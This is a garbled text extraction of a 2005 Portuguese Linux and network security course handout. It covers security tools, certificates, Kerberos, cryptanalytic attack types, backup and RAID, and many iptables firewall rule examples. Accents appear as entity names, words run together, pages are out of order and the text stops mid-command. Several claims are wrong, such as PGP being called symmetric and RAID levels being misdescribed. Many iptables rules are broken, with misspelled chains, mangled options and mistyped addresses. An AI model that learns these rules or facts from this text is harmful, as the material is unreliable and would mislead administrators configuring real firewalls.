ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 17: Curso de segurança em linux e redes em geral

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A 